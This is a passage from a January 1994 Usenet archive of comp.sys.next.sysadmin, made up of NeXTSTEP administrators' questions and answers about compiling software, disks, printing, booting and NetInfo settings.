INSTALL="/usr/bin/install -s" BINDIR="/usr/local/etc" install )
cc -I.. -I../gn -c gn.c
cc -I.. -I../gn -c pselect.c
cc -I.. -I../gn -c init.c
cc -I.. -I../gn -c util.c
cc -I.. -I../gn -c acc.c
cc -I.. -I../gn -c csearch.c
cc -I.. -I../gn -c regcomp.c
cc -I.. -I../gn -c regfind.c
cc -I.. -I../gn -c chkcache.c
cc -I.. -I../gn -c send.c
cc -I.. -I../gn -c search.c
cc -I.. -I../gn -c sio.c
cc -I.. -I../gn -o gn gn.o pselect.o init.o util.o acc.o csearch.o
regcomp.o regfind.o chkcache.o send.o search.o sio.o
ld: Undefined symbols:
_putenv
*** Exit 1
Stop.
*** Exit 1
Stop.
Can anybody suggest what "ld: Undefined symbols: _putenv" is telling me??
Thanks,
Charles.
charlesa@learned.co.uk
From: john@math.nwu.edu (John Franks)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher
Subject: Re: Help with "undefined symbols"!
Date: 7 Jan 1994 17:28:08 GMT
Organization: Dept of Math, Northwestern Univ
Distribution: world
Message-ID: <2gk638$241@news.acns.nwu.edu>
References: <2gk3kg$qo8@marble.Britain.EU.net>
In article <2gk3kg$qo8@marble.Britain.EU.net>, charlesa@learned.co.uk writes:
>
> Hi -
>
> I'm trying to complie GN-1.19 on a 3.1 NeXT for Intel. After I edit the
> config.h and top-level makefile accordingly, and type make, I get the following
> error;
> ld: Undefined symbols:
> _putenv
> *** Exit 1
> Stop.
> *** Exit 1
> Stop.
>
It is telling you that it can't find the function putenv in any library.
I would very much like to know about this too. Is there no putenv()
in NeXTStep? I know that NCSA httpd, uses putenv(), does it compile
under NeXTSTep? What do all you NeXT owners do when you need putenv()?
--
John Franks Dept of Math. Northwestern University
john@math.nwu.edu
From: graessle@hep.utexas.edu (Scott Graessle)
Newsgroups: comp.sys.next.sysadmin
Subject: How to create a socket or named pipe in NeXTSTEP?
Date: 7 Jan 1994 18:47:34 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <2gkao6$d0u@geraldo.cc.utexas.edu>
I'd like to do something like the sys-V `mknod /dev/blah p' but cannot
figure it out. Any suggestions?
Scott Graessle
graessle@hep.utexas.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher
From: gthomas@fraser.sfu.ca (Guy Thomas)
Subject: Re: Help with "undefined symbols"!
Message-ID: <gthomas.757971721@sfu.ca>
Sender: news@sfu.ca
Organization: Simon Fraser University, Burnaby, B.C., Canada
References: <2gk3kg$qo8@marble.Britain.EU.net> <2gk638$241@news.acns.nwu.edu>
Date: Fri, 7 Jan 1994 19:42:01 GMT
john@math.nwu.edu (John Franks) writes:
>I would very much like to know about this too. Is there no putenv()
>in NeXTStep? I know that NCSA httpd, uses putenv(), does it compile
>under NeXTSTep? What do all you NeXT owners do when you need putenv()?
putenv() is also used in MetaMail. That is where I first ran into it.
I got a copy of a library libenv.a that has this call in it. It is
small so I can mail people copies if they want. Mine works on a 2.1 system
it might work on 3.* as well.
The only change is to add -lenv to the linker/compiler flags line in
the makefiles.
-Guy
Newsgroups: comp.sys.next.sysadmin
From: david@colossus.rmt.sub.org (David Andel)
Subject: Problem: deleting faxes and print jobs
Message-ID: <1994Jan7.155100.295@colossus.rmt.sub.org>
Sender: david@colossus.rmt.sub.org
Organization: WiNG (Wiesbaden NEXTSTEP Group)
Date: Fri, 7 Jan 1994 15:51:00 GMT
Since the installation of NS 3.2 (moto) this problem occurs:
When I try to delete a queued fax in my user account by using the
PrintManager, the following panel appears:
"can't change to spooling directory"
followed by the console message:
"Permission denied spool dir: /usr/spool/NeXT/faxmodem"
I'm registered in the PrintManager with *all* access rights (it's my own
standalone).
The situation is comparable when I want to delete a print job.
Of course there are two workarounds:
1) registering your account in the daemon group
2) changing the access rights of /usr/spool/NeXT
...but this should be neither neccessary nor is it elegant. Besides that I
have the impression that the delete order is sometimes ignored (?).
Is anybody fighting with the same problem? What can be done?
I'm hoping the collective expertise and experience of the readers of this
group will be of help.
Thanks,
David
--
___________________________________________________________________
David Andel | InterNet: david@colossus.rmt.sub.org | WiNG-Wiesbaden
Wiesbaden | NeXTMail always welcome & preferred! | NEXTSTEP Group
Germany | (...if you have only a boring .signature, send ASCII)
___________________________________________________________________
From: akonstan@budapest.math.macalstr.edu (Alexander Konstantinou)
Newsgroups: comp.sys.next.sysadmin
Subject: Allegro CL 3.1.20 on NS3.2
Date: 7 Jan 1994 21:24:41 GMT
Organization: Macalester College, Department of Mathematics and Computer Science
Message-ID: <2gkjup$97s@mckinley.cit.macalstr.edu>
I am looking for a patch that was available to get the Allegro Common Lisp
version 3.1.20 running on NS3.0. I had a copy of the patch but my backup
media got corrupted and I lost it. Although I am not sure that the same
patch would work for NS3.2 I would like to give it a try.
Thanks in advance for your help.
--
Alexander V. Konstantinou akonstan@math.macalstr.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Installing hard drive question--
Message-ID: <1994Jan7.192427.2607@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1994Jan6.204347.10453@beaver.cs.washington.edu>
Date: Fri, 7 Jan 1994 19:24:27 GMT
In article <1994Jan6.204347.10453@beaver.cs.washington.edu>
fineman@cs.washington.edu (Lucifer Sam) writes:
> It only gives me ~210mb free (i forget exactly how much, but it's
nowhere
> near 245)! The only files on it are the lost&found and the .hidden.
> Fdisk tells me that the drive is only something like 213 mb; does this
> mean that it will format only in DOS to 245mb?
Unix disks (which covers NeXT) reserve 10% free space, and this is
excluded when the FileViewer tells you 210Mb free.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.programmer
From: fineman@cs.washington.edu (Lucifer Sam)
Subject: Why did my external disk turn into its own system?
Message-ID: <1994Jan7.232704.26460@beaver.cs.washington.edu>
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Engineering, U. of Washington, Seattle
Date: Fri, 7 Jan 94 23:27:04 GMT
so I've got a new hard disk up and running in my system, and it
suddenly decides to go independent on me.
The icon (i can't find a .dir.tiff) for the drive is "black slab with
monitor" instead of the old disk, and i can't recycle things on that
drive ("The recycler is on a different disk for /Harddisk").
This happened after i had booted up and it told me that the hard drive
was "damaged", and asked if i wanted to "repair".
What happened?
thanks
dan
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.misc
From: clarance@nshade.uah.ualberta.ca (Clarance Howatt)
Subject: Help compiling httpd
Message-ID: <1994Jan7.230011.6246@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Fri, 7 Jan 1994 23:00:11 GMT
Has anyone successfully compiled the NCSA version of HTTPD for NSI.
--
============================================================
Clarance Howatt
Programmer, Information Systems \\\ ///
University of Alberta Hospitals \\\ /\ ///
WMC 2C2.21, 8440 - 112th Street, \\\ //\\ ///
Edmonton, Alberta \\\///\\\///
Newsgroups: comp.sys.next.sysadmin
From: fms@chemelex .com (Fred Schenkelberg)
Subject: netware/nextstep woes
Message-ID: <CJ9oCr.4Lr@chemelex.com>
Sender: fms@chemelex.com (Fred Schenkelberg)
Organization: Research Group of Chemelex Division of Raychem Corporation
Distribution: ba,na,usa,
Date: Fri, 7 Jan 1994 15:58:03 GMT
Hi,
I've a stand alone next cube (nextdimension) and everyone
else in the office is on a netware lan. I'm connected with an
ethernet line, but logging onto the lan server is never clean,
often taking four or five authenications before I can open any
folders on the server.
Then, once in, I'm often dumpped off the lan for no
reason that I can find. Thus, starting over the painful log-in
attempts.
This must run better than what I'm seeing, or is this
POOR performance NORMAL? How do I go about troubleshooting this?
Thanks for any advice or help. Sincerely,
--
Fred Schenkelberg
fms@chemelex.com
--
Fred Schenkelberg
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: No Recycler
Message-ID: <1994Jan7.215544.617@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1994Jan7.150531.7324@ornl.gov>
Date: Fri, 7 Jan 1994 21:55:44 GMT
In article <1994Jan7.150531.7324@ornl.gov> woo@ornl.gov (John W. Wooten)
writes:
> I have the following in my /etc/fstab
> /dev/sd0a / 4.3 rw,noquota 0 1
> /dev/sd0b /Users 4.3 rw,noquota 0 2
> /dev/sd1a /Gopher 4.3 rw,noquota 0 1
>
> Now, everything works fine EXCEPT when I drag an item to the trash on
> the /Gopher portion of the file system. Then I get the message,
> Folder /Gopher/local/www ... is located on a disk
> without recycler.
> Continuing will really distroy the files.
>
> Why am I getting this message and how do I fix it so that there is a
> recycler on that disk? (I've RTFM with Librarian and tried several
> obvious things, but no clues).
mkdir /Gopher/.NextTrash
chmod 777 /Gopher/.NextTrash
Should do it.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: d91-elu@dront.nada.kth.se (Erik Lundström)
Subject: SLIP using PNI 1.6 + SupraModem
Message-ID: <1994Jan8.021710.395@kth.se>
Sender: usenet@kth.se
Organization: Royal Institute of Technology, Stockholm, Sweden
Date: Sat, 8 Jan 1994 02:17:10 GMT
Im trying to configure PNI 1.6beta for my Intel machine. I want to use
PNI as a SLIP server (and client at the same time) using my SupraFaxModem
V.32bis.
So, if somebody have written a TCL-script for the supramodem Im VERY
interested.
I can be reached at: d91-elu@nada.kth.se (this is my friends account)
best regards,
David Wallin.
Newsgroups: comp.sys.next.sysadmin
From: d91-elu@dront.nada.kth.se (Erik Lundström)
Subject: SLIP using PNI 1.6 + SupraModem
Message-ID: <1994Jan8.022123.581@kth.se>
Sender: usenet@kth.se
Organization: Royal Institute of Technology, Stockholm, Sweden
Date: Sat, 8 Jan 1994 02:21:23 GMT
Im trying to configure PNI 1.6beta for my Intel machine. I want to use
PNI as a SLIP server (and client at the same time) using my SupraFaxModem
V.32bis.
So, if somebody have written a TCL-script for the supramodem Im VERY
interested.
I can be reached at: d91-elu@nada.kth.se (this is my friends account)
best regards,
David Wallin.
From: scs4@encon.pge.com (Simon Salcedo)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP: Want to print to Next laser from Mac
Message-ID: <2606@news01.pge.com>
Date: 8 Jan 94 02:12:52 GMT
Sender: news@news01.pge.com
I am still running NS 2.1 on my NeXTstation. I have a NeXT laser
printer connected to it.
I have a Mac and I want to print to the NeXT printer. What do I need
to do?
My Mac has a built-in Ethernet port. I suppose I can connect the two
via the Ethernet ports. Now what software do I need so that the Mac
can see the NeXT printer? Where can I get it? Can I download it from
somewhere?
Thanks for you help.
Simon
scs4@pge.com
(415) 973-0647
Newsgroups: comp.sys.next.sysadmin
Subject: Scratch Upgrade Gone Bad
Message-ID: <1994Jan7.185204.8041@nic.csu.net>
From: vqueved@jupiter.uucp (Victor Quevedo)
Date: 7 Jan 94 18:52:03 PST
Distribution: comp.sys.next.bugs
Organization: Cal State University, Los Angeles
I have just run into a problem trying to install 3.2 (Black) on a cube.
I am trying to do a a complete installation from scratch....
I get the instructions for the complete installation.
But after it formats the disk it gives me an error message that there
is not enough disk space to do the installation.
Has anyone run into this problem? Does this have to do with the disktab
entries for the drive? Does anyone have the disktab entry for the original
1.4GB drive that NeXT sold? The drive was purchased with 2.0 instaled
and has been upgraded to 2.1, 3.0 and 3.1 with no problems.
Any help would be appreciated.
Victor Quevedo
Description on hardward:
1.4 GB Drive (sold by NeXT) (SCSIid 0)
040 Cube (no turbo)
External PLI Floppy (SCSIid 3)
Apple CD-ROM (SCSIid 6)
NeXTSTEP USER 3.2
Boot disk for NeXTSTEP USER 3.2
Newsgroups: comp.sys.next.sysadmin,alt.gopher,comp.infosystems.gopher
Subject: gopher (NeXT Unix)
Message-ID: <1994Jan7.214031.7261@cc.usu.edu>
From: deviate@lipschitz.sfasu.edu (Kelly Cunningham)
Date: 7 Jan 94 21:40:31 MDT
Organization: As little as I can get away with...
Keywords: gopher NeXT Unix
I'm looking for a (Unix) gopher client that will compile on a v3.x NeXT
with as little hassle as possible.
Thanks.
From: ohara@leland.Stanford.EDU
Newsgroups: comp.sys.next.sysadmin
Subject: SLIPCommander
Date: 8 Jan 1994 07:25:46 GMT
Organization: Stanford University
Message-ID: <2gln5q$sd@morrow.stanford.edu>
Keywords: SLIPCommander
I installed SLIPCommander 3.21 on my NeXTstation.
The program in DEMO mode beautifully works for root but does not for other users. The Title Display of the command window shows ".. start up .." and
does not become "SLIP:On" or "SLIP:Off".
Any suggestions are either appreciated.
Thanks.
Mori (ohara@leland.stanford.edu)shows ".. start up .." and
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: HELP: Want to print to Next laser from Mac
Message-ID: <1994Jan8.090327.27307@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <2606@news01.pge.com>
Date: Sat, 8 Jan 1994 09:03:27 GMT
In article <2606@news01.pge.com> scs4@pge.com (Simon Salcedo) writes:
> I have a Mac and I want to print to the NeXT printer. What do I need
> to do?
Response 1:
Anonymous FTP from ftp.intercon.com:
intercon/sales/InterPrint.txt
describes a commercial product that probably does what you want
with a minimum amount of grief.
Response 2:
I'd start by installing the most recent LaserWriter driver.
=> Anonymous FTP from ftp.apple.com:
dts/mac/sys.soft/imaging/laserwriter.8.1/laserwriter-8-1-image-1440.hqx
You might also need/want: anonymous FTP from sumex-aim.stanford.edu:
info-mac/prn/laserwriter-81-patch.hqx
> My Mac has a built-in Ethernet port. I suppose I can connect the two
> via the Ethernet ports. Now what software do I need so that the Mac
> can see the NeXT printer? Where can I get it? Can I download it from
> somewhere?
Either the NeXT needs to speak AppleTalk/PAP or the Mac needs to
speak TCP/LPR. There are several "solutions" on both sides.
Having TCP/IP on the Mac is a Good Thing. _The Internet Starter
Kit for Macintosh_ by Adam C. Engst, published by Hayden Books
(ISBN 1-56830-064-6) is probably the best (and cheapest) way to
get started. It includes the all-important MacTCP extension
(though you'll probably need to get a [free] update to the latest
version).
Anonymous FTP from brownvm.brown.edu:
lpr12.seahqx
Is a free LPR client for the Macintosh. It's not as user-
friendly as the InterCon product, but the price is right
and source code is available.
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: gordie@cyclesoft.com (Gordie Freedman)
Subject: Re: Apple CDROM 300, how?
Message-ID: <1994Jan8.101253.642@netcom.com>
Sender: gordie@netcom.com
Organization: Cyclesoft Media Works
References: <CJ8IBv.HrJ@news.cis.umn.edu>
Date: Sat, 8 Jan 1994 10:12:53 GMT
In article <CJ8IBv.HrJ@news.cis.umn.edu> jimbo@oingo.umn.edu writes:
> Is there any trick to installing an Apple CD-ROM 300 on a NeXT
> Turbo Color for the first time??
> ---
> --------------------------------------------------------------------
> James P. Klett klett@sunrayce.solar.umn.edu
> jimbo@oingo.umn.edu (SLIP)
> --------------------------------------------------------------------
> Slip Slipping' away... NeXT Mail Preferred
> --------------------------------------------------------------------
On my NeXT (non-Turbo) color slab there were no tricks involved. I just shut
the machine off, and plugged the SCSI cable in (terminated the other plug on
the back of the CD drive).
Works fine (in fact, just installed 3.2 tonight using it)
--
>>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes!
>>> Thou shalt not inline functions more complicated than 20
Newsgroups: comp.sys.next.sysadmin
From: skwong@cuse1.se.cuhk.hk (Wong Sai Kee (Graduate Assistant))
Subject: How to add pictures for sender outside our A/C ?
Message-ID: <CJBDow.1vz@eng_ser1.ie.cuhk.hk>
Sender: news@eng_ser1.ie.cuhk.hk
Organization: Engineering Faculty, The Chinese U. of Hong Kong
Date: Sat, 8 Jan 1994 14:02:55 GMT
I had successfully added pictures for NeXTMail in
/LocalLibrary/Images/People/*.tiff
Can I add pictures for peoples outside this email server ?
I tried to use: user@www.xxx.yyy.zzz.tiff but failed.
Mr.WONG Sai Kee
Graduate Student
Newsgroups: comp.sys.next.sysadmin
From: andrew@stone.com (Andrew Stone)
Subject: Re: Open problem
Message-ID: <1994Jan8.161149.375@stone.com>
Sender: andrew@stone.com
Organization: Stone Design Corp
References: <1994Jan6.040309.3525@nugget.rmNUG.ORG>
Date: Sat, 8 Jan 1994 16:11:49 GMT
In article <1994Jan6.040309.3525@nugget.rmNUG.ORG> raptor!rlove (Robert B.
Love ) writes:
> Why is it if I type open filename Edit opens up the file but if I type
> open -a Edit file it fails with this msg:
> open: can't open connection to Edit on local host.
>
> What do I have to set to make this work?
> --
> -----------------------------------------------------------------
> Bob Love rlove@raptor.rmnug.org (NeXT Mail OK)
> BIX: rlove
> -----------------------------------------------------------------
Bob, if you use "openfile <FILENAME>", Edit will surely be used. See man
openfile.
andrew
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!! andrew@stone.com <> Stone Design Corp !!
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Newsgroups: comp.sys.next.sysadmin
From: andrew@stone.com (Andrew Stone)
Subject: Re: Problem: deleting faxes and print jobs
Message-ID: <1994Jan8.161755.459@stone.com>
Sender: andrew@stone.com
Organization: Stone Design Corp
References: <1994Jan7.155100.295@colossus.rmt.sub.org>
Date: Sat, 8 Jan 1994 16:17:55 GMT
In article <1994Jan7.155100.295@colossus.rmt.sub.org>
david@colossus.rmt.sub.org (David Andel) writes:
> Since the installation of NS 3.2 (moto) this problem occurs:
>
> When I try to delete a queued fax in my user account by using the
> PrintManager, the following panel appears:
> "can't change to spooling directory"
> followed by the console message:
> "Permission denied spool dir: /usr/spool/NeXT/faxmodem"
>
> I'm registered in the PrintManager with *all* access rights (it's my own
> standalone).
> The situation is comparable when I want to delete a print job.
>
> Of course there are two workarounds:
>
> 1) registering your account in the daemon group
> 2) changing the access rights of /usr/spool/NeXT
>
> ...but this should be neither neccessary nor is it elegant. Besides that
I
> have the impression that the delete order is sometimes ignored (?).
>
> Is anybody fighting with the same problem? What can be done?
>
> I'm hoping the collective expertise and experience of the readers of
this
> group will be of help.
>
> Thanks,
> David
As root, "lprm -" can save hours of playing with PrintManager!
andrew
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From: takken@raven.Stanford.EDU (Todd Takken)
Newsgroups: comp.sys.next.sysadmin
Subject: bsd(1,0,0) -- booting from second SCSI drive
Date: 8 Jan 1994 22:12:08 GMT
Organization: Stanford University
Distribution: world
Message-ID: <2gnb3o$q3m@nntp2.Stanford.EDU>
How do I boot from sd1 instead of sd0? I have two internal hard drives
(targe 1 logical sd0, target 2 logical sd1) on my 040 slab and want to
switch the boot drive without taking the top off of the machine to
physically change the SCSI id numbers. When in the ROM monitor I try:
bsd(1,0,0)
it boots from sd0, just as if I had typed bsd(0,0,0), bsd or b. Is there
a trick to get it to boot from sd1?
-- Todd Takken
takken@raven.stanford.edu
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: bsd(1,0,0) -- booting from second SCSI drive
Message-ID: <1994Jan9.011156.4785@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <2gnb3o$q3m@nntp2.Stanford.EDU>
Date: Sun, 9 Jan 1994 01:11:56 GMT
In article <2gnb3o$q3m@nntp2.Stanford.EDU>
takken@raven.Stanford.EDU (Todd Takken) writes:
> When in the ROM monitor I try:
>
>bsd(1,0,0)
>
>it boots from sd0, just as if I had typed bsd(0,0,0), bsd or b. Is there
>a trick to get it to boot from sd1?
bsd(1,0,0)sdmach rootdev=sd1a
The "trick" is that /etc/fstab on sd1a also needs to reflect the
switch, e.g.:
#
# DO NOT DELETE THIS FILE, IT IS REQUIRED FOR BOOTING
#
# This file contains information used to mount local hard disks.
# Consult your system administration and networking manual
# for information on adding local disks. Information on the format
# of entries in this file can also be found in the fstab man page,
# search for fstab in Digital Librarian.
#
/dev/sd1a / 4.3 rw,noquota,noauto 0 1
/dev/sd0a /mnt 4.3 ro,noquota 0 2
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
Subject: Window Server Error Message
Message-ID: <1994Jan8.182247.8052@nic.csu.net>
From: vqueved@jupiter.uucp (Victor Quevedo)
Date: 8 Jan 94 18:22:46 PST
Distribution: comp.sys.next.bugs
Organization: Cal State University, Los Angeles
I have the following error message on my file server (next cube) during
boot up. I get the following:
Window Server [160] Exception caught PS-108.1 on host localhost
Later another error message stating Emulation exception (Srgemt) and
various dumps of pc... and other registers.
Later another message:
loginwindow: could not find Window Server port!!...
This message repeats... and there is no login window.
The Machine appears to be working, but there is no login window or
workspace. You can log in remotely. If you reboot the machine
sometimes you get the login panel. You cannot print at all. There
are continuous postscript error messages. The console is quickly filled
with error messages.
I saved the data and rebuild the hard disk (thinking that it was
some internal Nextstep files that were currupted). I had some trouble
installing 3.2 from scratch. I was able to get the hard disk to
Rebuild by adding it to another next as a secondary drive. After
rebuilding it I put it back into the cube. After booting up correctly
the error messages returned.
Anyone have any suggestions or similiar problems. I am going to get
another machine setup as the server. But I might be stuck with that
other machine.
Any help would be usefull..
Thanks
--Victor Quevedo
vqueved@jupiter.calstatela.edu
vqueved@nssnext.calstatela.edu NeXT mail OK
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: alex@cs.umd.edu (Alex Blakemore)
Subject: How do you change main monitor for dual headed system?
Message-ID: <CJCGnM.49K@genoa.com>
Sender: alex@genoa.com (Alex Blakemore)
Organization: Genoa Software Systems
Date: Sun, 9 Jan 1994 04:04:34 GMT
Does anyone know an easy way around the following dilemna?
a dual headed (2 monitor) cube (or dimension - not sure) was
recently inherited. unfortunately, we only have one of the monitors
and the login panel/console is set to the missing monitor.
we cant just switch since one was color and one was mono.
is there any easy way around this?
I realize that if everything were working, you could change the
"main" monitor using Preferences.app. Or if we can get it on a network,
we can login remotely and use the dwrite command?
but putting on a network is not so easy without being able to
edit /etc/hostconfig etc.
what defaults apply?
any suggestions would be very gratefully received.
thanks
--
Alex Blakemore
alex@cs.umd.edu NeXT mail accepted
From: gregory@athena.mit.edu (Gregory B Howland)
Newsgroups: comp.sys.next.sysadmin
Subject: Installing NS from an external hard drive
Date: 9 Jan 1994 07:45:21 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <2gocmh$sm6@senator-bedfellow.MIT.EDU>
Is it possible to install NSi 3.2 from an external
hard drive instead of from the CD ROM? Would this be
much faster than installing from the CD? Thansk in advance.
-- Greg
From: disc@vector.casti.com (David Casti)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.unix.admin
Subject: NeXT News Server Software?
Date: 9 Jan 1994 15:19:47 GMT
Organization: The Gnomes of Zurich (shhh!)
Message-ID: <2gp7ak$9c6@news.intercon.com>
Hi folks,
I'm looking for some advice re: news server software for my NeXT.
Preferably, I'd like a package which has been optimized for NeXTStep or
at least one that someone else out there has running and is happy with.
Please send email; I'll summarize to the newsgroups if I get enough of a
response.
Thanks,
David.
From: disc@vector.casti.com (David Casti)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.unix.admin
Subject: cmsg cancel <2gp7ak$9c6@news.intercon.com>
Control: cancel <2gp7ak$9c6@news.intercon.com>
Date: 9 Jan 1994 16:27:54 GMT
Organization: The Gnomes of Zurich (shhh!)
Message-ID: <2gpbaa$c0a@news.intercon.com>
Article cancelled from within tin [v1.2 PL1]
From: tal@Warren.MENTORG.COM (Tom Limoncelli)
Newsgroups: comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin,comp.unix.admin,comp.unix.large,comp.unix.misc,comp.unix.solaris,comp.unix.ultrix,comp.unix.unixware,nj.events,nj.misc,nyc.announce
Subject: $GROUPNAME (was GSLISA) Meeting Calendar (NEW JERSEY)
Message-ID: <2gpb7c$p2c$1@sdl.Warren.MENTORG.COM>
Date: 9 Jan 94 16:26:20 GMT
Sender: tal@Warren.MENTORG.COM
Followup-To: comp.unix.admin
Distribution: inet
Organization: Mentor Graphics -- IC Group, Warren, NJ, USA
To: groupname@warren.mentorg.com,sage-announce@sage.usenix.com,mentor-sysadmin@warren.mentorg.com,njcabal@draco.rutgers.edu,suspects@psyche.mit.edu
(NOTE: GSLISA (Garden State LISA) has changed it's name to $GROUPNAME.
For more information about $GROUPNAME, send "info groupname" to
majordomo@warren.mentorg.com)
---------------------------
$GROUPNAME Meeting Calendar
---------------------------
JANUARY:
"Are your customers your fellow workers?"
Thurday, Jan 27: _Keeping_Users_Happy_: At Mentor's NJ location
the sysadmin staff have developed a number of techniques to make sure
users demands are met, requests get completed, and users are kept
happy. Some techniques are software, some are policy. The
presentation will demo their helpdesk/pager system, give an overview of
their network configuration, security standards, and philsophy. The
presentation should be useful to anyone who's customers are your fellow
employees. A question-and-answer session will follow the presentation.
Location: Mentor Graphics Corp
15 Independence Blvd.
Warren, NJ 07059
When: Thursday, January 27, 1994, 7:30-9:30pm
NOTE: The meeting will start exactly at 7:30.
For directions, send "send gslisa directions" as the first line of a
message (the Subject: will be ignored) to majordomo@warren.mentorg.com.
Or, cut and paste this command into a Unix shell:
echo get gslisa directions | mail majordomo@warren.mentorg.com
------------------------------------------------------------
FEBRUARY:
Thursday, Feb 17: This is the annual meeting under the bylaws.
They bylaws will be approved and the the first board will be elected.
Location: To Be Announced
When: Thursday, February 17, 7:30pm-9:00pm
------------------------------------------------------------
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"Psst! Hey, Anthony! Y'know what I | Disclaimer: I do not
like about existing?" "Uh... uh... what?" | speak for Mentor Graphics.
"Possessing a physical extension." -TSA |
From: kov@onyx.dartmouth.edu (Ken Overton)
Newsgroups: comp.sys.next.sysadmin
Subject: Any Optical Disk utilities?
Keywords: Optical Disk, Disk Utilities
Message-ID: <2gphqo$r2k@dartvax.dartmouth.edu>
Date: 9 Jan 94 18:19:04 GMT
Organization: Dartmouth College, Hanover, NH, USA
I have a cube that's still on 2.1. When I put a particular OD in it tries
to recognize it then gives up. Here's what my console says:
od0a: read recover (ECC) block 8 phys block 65055 (8214:0:15)
........
od0a: read recover (ECC) block 8 phys block 65055 (8214:0:15)
od0a: read failed (ECC) block 8 phys block 65055 (8214:0:15)
Jan 9 13:09:06 Workspace[625]: Workspace: 'mounted' message
received for unknown device
I have other ODs that work fine in this drive, so I assume its just the
disk. However, is there some utility to try to fix that disk?
Ken Overton
From: eric@CS.Berkeley.EDU (Eric Allman)
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
Subject: Re: Sendmail configuration and installation guide?
Date: 9 Jan 1994 19:09:02 GMT
Organization: UC Berkeley Mammoth Project
Sender: eric@mastodon.CS.Berkeley.EDU (Eric Allman)
Distribution: world
Message-ID: <2gpkoe$bhs@agate.berkeley.edu>
References: <2ghn4s$25r@steffi.demon.co.uk>
In article <2ghn4s$25r@steffi.demon.co.uk>, robert@steffi.demon.co.uk (Robert Nicholson) writes:
|> BTW: Does NeXT's sendmail (NS3.1) support the F=m flag? I've heard
|> that some older sendmails don't support this flag. Anybody know if
|> more recent sendmails support this?
The F=m flag has been supported since at least 1983 (release 3 of
sendmail; NeXT is running release 5).
eric
Newsgroups: comp.periphs.scsi,comp.sys.next.sysadmin,comp.sys.next.hardware
From: tedm@tsoft.net (Ted Matsumura)
Subject: Re: Help.. Very weird SCSI problem [ NS 2.1, 030 mono cube ]
Message-ID: <CJDHp7.70w@tsoft.net>
Keywords: Toshiba 3401 and Sparc2 jumper settings
Organization: TSoft BBS and Public Access Unix, +1 415 969 8238
References: <2ghgcp$ept@ulowell.uml.edu> <2ghrlt$ji@tuegate.tue.nl>
Date: Sun, 9 Jan 1994 17:24:34 GMT
I would be interested in knowing which jumper to cut on a Toshiba 3401 to
make it work on a Sparc2. Thanks.
Ted
(tedm@rahul.net)
Newsgroups: comp.sys.next.sysadmin
From: jmack@skye.phys.ualberta.ca
Subject: Re: How do you change main monitor for dual headed system?
Message-ID: <1994Jan9.223523.14785@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <CJCGnM.49K@genoa.com>
Date: Sun, 9 Jan 1994 22:35:23 GMT
In article <CJCGnM.49K@genoa.com> alex@cs.umd.edu (Alex Blakemore) writes:
> Does anyone know an easy way around the following dilemna?
>
> a dual headed (2 monitor) cube (or dimension - not sure) was
> recently inherited. unfortunately, we only have one of the monitors
> and the login panel/console is set to the missing monitor.
> we cant just switch since one was color and one was mono.
>
> is there any easy way around this?
>
> I realize that if everything were working, you could change the
> "main" monitor using Preferences.app. Or if we can get it on a network,
> we can login remotely and use the dwrite command?
> but putting on a network is not so easy without being able to
> edit /etc/hostconfig etc.
>
> what defaults apply?
They will be in the netinfo database:
252 skye# niutil -read . /screens/MegaPixel
name: MegaPixel
slot: 0
unit: 0
bounds: 0 1120 0 832
active: 1
There will also be one for /screens/NeXTdimension on 2 headed systems.
modify the "active" attribute with niutil to the one you want.
(and change the other one to 0 )
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
Newsgroups: comp.sys.next.sysadmin
From: jmack@skye.phys.ualberta.ca
Subject: Re: How do you change main monitor for dual headed system? -correction
Message-ID: <1994Jan9.231905.16830@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1994Jan9.223523.14785@kakwa.ucs.ualberta.ca>
Date: Sun, 9 Jan 1994 23:19:05 GMT
